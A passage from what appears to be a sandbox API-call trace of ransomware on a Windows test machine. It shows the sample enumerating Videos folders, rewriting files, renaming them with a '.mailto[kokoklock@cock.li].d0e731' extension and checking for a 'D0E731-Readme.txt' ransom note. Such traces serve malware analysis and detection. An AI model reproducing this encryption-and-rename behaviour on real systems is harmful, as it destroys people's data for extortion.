"c:\\users\\fd1hvy\\videos\\iecb0vyaaeomc.swf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0169.382] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x107efbcc | out: lpFileSize=0x107efbcc*=57025) returned 1 [0169.383] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0xdebd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.383] ReadFile (in: hFile=0x6cc, lpBuffer=0x107efba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x107efb9c, lpOverlapped=0x0 | out: lpBuffer=0x107efba0*, lpNumberOfBytesRead=0x107efb9c*=0x4, lpOverlapped=0x0) returned 1 [0169.384] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.384] CloseHandle (hObject=0x6cc) returned 1 [0169.384] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\iecb0vYAAeoMc.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.384] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe39a0) returned 1 [0169.384] RtlExitUserThread (Status=0x0) Thread: id = 1844 os_tid = 0xf9c [0169.385] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\q8uhq0c.mp4.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.386] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.386] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\q8uhq0c.mp4.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0169.386] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x1086f950 | out: lpFileSize=0x1086f950*=9691) returned 1 [0169.387] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x25d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.387] ReadFile (in: hFile=0x6cc, lpBuffer=0x1086f924, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1086f920, lpOverlapped=0x0 | out: lpBuffer=0x1086f924*, lpNumberOfBytesRead=0x1086f920*=0x4, lpOverlapped=0x0) returned 1 [0169.388] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.388] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f880c0 [0169.388] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0169.388] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88458 [0169.388] NtQuerySystemTime (in: CurrentTime=0x1086f8fc | out: CurrentTime=0x1086f8fc*=132121213267095508) returned 0x0 [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0x1c715117 [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0x6a582c8b [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0xa790d809 [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0xe90e582d [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0xea3b1db4 [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0x16b7470d [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0x8ab03590 [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0xa2d195af [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0x62bcd446 [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0x9227ea2c [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0x853e02ef [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0xc7667318 [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0x8c79d1d8 [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0x42f8f8 [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0xb2c66a6d [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0x3dec53e7 [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0x18541f56 [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0xd9435f73 [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0x4765d1a0 [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0x4d8d1a65 [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0x5624f79b [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0xc879e187 [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0xc536ced5 [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0xd8d6e62f [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0x1b4c8551 [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0x192eb2ab [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0x28d3a1c1 [0169.388] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0xc5a5a8af [0169.389] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0xc0a6e39c [0169.389] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0x3149651c [0169.389] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0xeeb8652 [0169.389] RtlRandom (in: Seed=0x1086f908 | out: Seed=0x1086f908) returned 0x59fb8c5d [0169.399] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88188 [0169.401] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96b70 [0169.401] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.401] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96b70) returned 1 [0169.401] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f880c0) returned 1 [0169.401] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0169.401] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96b70 [0169.401] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88408 [0169.401] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88408) returned 1 [0169.401] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3045b00 [0169.402] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3049ba0 [0169.403] ReadFile (in: hFile=0x6cc, lpBuffer=0x3045b00, nNumberOfBytesToRead=0x25db, lpNumberOfBytesRead=0x1086f8fc, lpOverlapped=0x0 | out: lpBuffer=0x3045b00*, lpNumberOfBytesRead=0x1086f8fc*=0x25db, lpOverlapped=0x0) returned 1 [0169.404] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1086f8c4 | out: lpNewFilePointer=0x0) returned 1 [0169.404] WriteFile (in: hFile=0x6cc, lpBuffer=0x3049ba0*, nNumberOfBytesToWrite=0x25db, lpNumberOfBytesWritten=0x1086f8f8, lpOverlapped=0x0 | out: lpBuffer=0x3049ba0*, lpNumberOfBytesWritten=0x1086f8f8*=0x25db, lpOverlapped=0x0) returned 1 [0169.404] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88480 [0169.404] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88200 [0169.404] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88200) returned 1 [0169.404] WriteFile (in: hFile=0x6cc, lpBuffer=0x2f88480*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1086f8f4, lpOverlapped=0x0 | out: lpBuffer=0x2f88480*, lpNumberOfBytesWritten=0x1086f8f4*=0x20, lpOverlapped=0x0) returned 1 [0169.404] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88480) returned 1 [0169.405] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3049ba0) returned 1 [0169.405] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3045b00) returned 1 [0169.405] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96b70) returned 1 [0169.405] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0169.405] WriteFile (in: hFile=0x6cc, lpBuffer=0x2f88368*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1086f920, lpOverlapped=0x0 | out: lpBuffer=0x2f88368*, lpNumberOfBytesWritten=0x1086f920*=0x8, lpOverlapped=0x0) returned 1 [0169.405] WriteFile (in: hFile=0x6cc, lpBuffer=0x1086f938*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1086f920, lpOverlapped=0x0 | out: lpBuffer=0x1086f938*, lpNumberOfBytesWritten=0x1086f920*=0x4, lpOverlapped=0x0) returned 1 [0169.405] WriteFile (in: hFile=0x6cc, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1086f920, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1086f920*=0x4, lpOverlapped=0x0) returned 1 [0169.405] WriteFile (in: hFile=0x6cc, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1086f920, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1086f920*=0x6c, lpOverlapped=0x0) returned 1 [0169.405] WriteFile (in: hFile=0x6cc, lpBuffer=0x2f88520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1086f920, lpOverlapped=0x0 | out: lpBuffer=0x2f88520*, lpNumberOfBytesWritten=0x1086f920*=0x20, lpOverlapped=0x0) returned 1 [0169.405] WriteFile (in: hFile=0x6cc, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1086f920, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1086f920*=0x4, lpOverlapped=0x0) returned 1 [0169.405] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0169.405] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88188) returned 1 [0169.406] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.406] CloseHandle (hObject=0x6cc) returned 1 [0169.406] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xca) returned 0x2ff2018 [0169.406] wcscpy (in: _Dest=0x2ff2018, _Source="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731" [0169.406] wcscat (in: _Dest=0x2ff2018, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.406] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\q8uhq0c.mp4.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\q8uhq0c.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.410] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.410] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff2018) returned 1 [0169.410] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.410] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2fa4540 [0169.410] wcscpy (in: _Dest=0x2fa4540, _Source="C:\\Users\\FD1HVy\\Videos\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\") returned="C:\\Users\\FD1HVy\\Videos\\" [0169.410] wcscat (in: _Dest=0x2fa4540, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\D0E731-Readme.txt" [0169.411] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\d0e731-readme.txt")) returned 0x20 [0169.411] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4540) returned 1 [0169.411] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83288) returned 1 [0169.411] RtlExitUserThread (Status=0x1) Thread: id = 1845 os_tid = 0xfa0 [0169.413] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2fa48a0 [0169.413] wcscpy (in: _Dest=0x2fa48a0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" [0169.413] wcscat (in: _Dest=0x2fa48a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" [0169.413] wcscat (in: _Dest=0x2fa48a0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\*") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\*" [0169.413] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022bf0 [0169.413] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\*", lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1748c160, ftCreationTime.dwHighDateTime=0x1d4d460, ftLastAccessTime.dwLowDateTime=0x828459a9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x828459a9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30453a8 [0169.416] wcscmp (_String1=".", _String2=".") returned 0 [0169.416] FindNextFileW (in: hFindFile=0x30453a8, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1748c160, ftCreationTime.dwHighDateTime=0x1d4d460, ftLastAccessTime.dwLowDateTime=0x828459a9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x828459a9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.416] wcscmp (_String1="..", _String2=".") returned 1 [0169.416] wcscmp (_String1="..", _String2="..") returned 0 [0169.416] FindNextFileW (in: hFindFile=0x30453a8, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddb13490, ftCreationTime.dwHighDateTime=0x1d4c731, ftLastAccessTime.dwLowDateTime=0x6663b110, ftLastAccessTime.dwHighDateTime=0x1d4d43d, ftLastWriteTime.dwLowDateTime=0x827a307c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2668, dwReserved0=0x0, dwReserved1=0x0, cFileName="7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="7OENGJ~1.D0E")) returned 1 [0169.416] wcscmp (_String1="7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0169.416] wcscmp (_String1="7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0169.416] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f84428 [0169.416] wcscpy (in: _Dest=0x2f84428, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" [0169.416] wcscat (in: _Dest=0x2f84428, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" [0169.416] wcscat (in: _Dest=0x2f84428, _Source="7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4.mailto[kokoklock@cock.li].d0e731" [0170.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f84428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534 [0170.948] FindNextFileW (in: hFindFile=0x30453a8, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8281f75c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8281f75c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8281f75c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0170.948] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0170.948] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0170.948] FindNextFileW (in: hFindFile=0x30453a8, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a798d90, ftCreationTime.dwHighDateTime=0x1d4cd43, ftLastAccessTime.dwLowDateTime=0xb272c060, ftLastAccessTime.dwHighDateTime=0x1d4d5c7, ftLastWriteTime.dwLowDateTime=0x827d3b43, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd02a, dwReserved0=0x0, dwReserved1=0x0, cFileName="eoET.flv.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EOETFL~1.D0E")) returned 1 [0170.948] wcscmp (_String1="eoET.flv.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.948] wcscmp (_String1="eoET.flv.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.948] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f91b30 [0170.949] wcscpy (in: _Dest=0x2f91b30, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" [0170.949] wcscat (in: _Dest=0x2f91b30, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" [0170.949] wcscat (in: _Dest=0x2f91b30, _Source="eoET.flv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv.mailto[kokoklock@cock.li].d0e731" [0170.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x904 [0170.949] FindNextFileW (in: hFindFile=0x30453a8, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5744fc0, ftCreationTime.dwHighDateTime=0x1d4d324, ftLastAccessTime.dwLowDateTime=0x3f1669d0, ftLastAccessTime.dwHighDateTime=0x1d4d2a4, ftLastWriteTime.dwLowDateTime=0x827fb68e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x823, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="FM9IIF~1.D0E")) returned 1 [0170.949] wcscmp (_String1="Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.949] wcscmp (_String1="Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.949] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0b070 [0170.950] wcscpy (in: _Dest=0x4f0b070, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" [0170.950] wcscat (in: _Dest=0x4f0b070, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" [0170.950] wcscat (in: _Dest=0x4f0b070, _Source="Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv.mailto[kokoklock@cock.li].d0e731" [0170.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0b070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908 [0170.950] FindNextFileW (in: hFindFile=0x30453a8, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89b893c0, ftCreationTime.dwHighDateTime=0x1d4d19e, ftLastAccessTime.dwLowDateTime=0x84f7e554, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84f7e554, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMBNCbK9FH55XhnGLg", cAlternateFileName="OMBNCB~1")) returned 1 [0170.950] wcscmp (_String1="OMBNCbK9FH55XhnGLg", _String2=".") returned 1 [0170.950] wcscmp (_String1="OMBNCbK9FH55XhnGLg", _String2="..") returned 1 [0170.950] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2f8b390 [0170.951] wcscpy (in: _Dest=0x2f8b390, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" [0170.951] wcscat (in: _Dest=0x2f8b390, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" [0170.951] wcscat (in: _Dest=0x2f8b390, _Source="OMBNCbK9FH55XhnGLg" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" [0170.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f8b390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c [0170.951] FindNextFileW (in: hFindFile=0x30453a8, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f151d20, ftCreationTime.dwHighDateTime=0x1d4c9e5, ftLastAccessTime.dwLowDateTime=0xcb4a380, ftLastAccessTime.dwHighDateTime=0x1d4c854, ftLastWriteTime.dwLowDateTime=0x8281f75c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x8764, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="TS7OO3~1.D0E")) returned 1 [0170.951] wcscmp (_String1="TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.951] wcscmp (_String1="TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xba) returned 0x4f0abc0 [0170.951] wcscpy (in: _Dest=0x4f0abc0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" [0170.951] wcscat (in: _Dest=0x4f0abc0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" [0170.952] wcscat (in: _Dest=0x4f0abc0, _Source="TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW 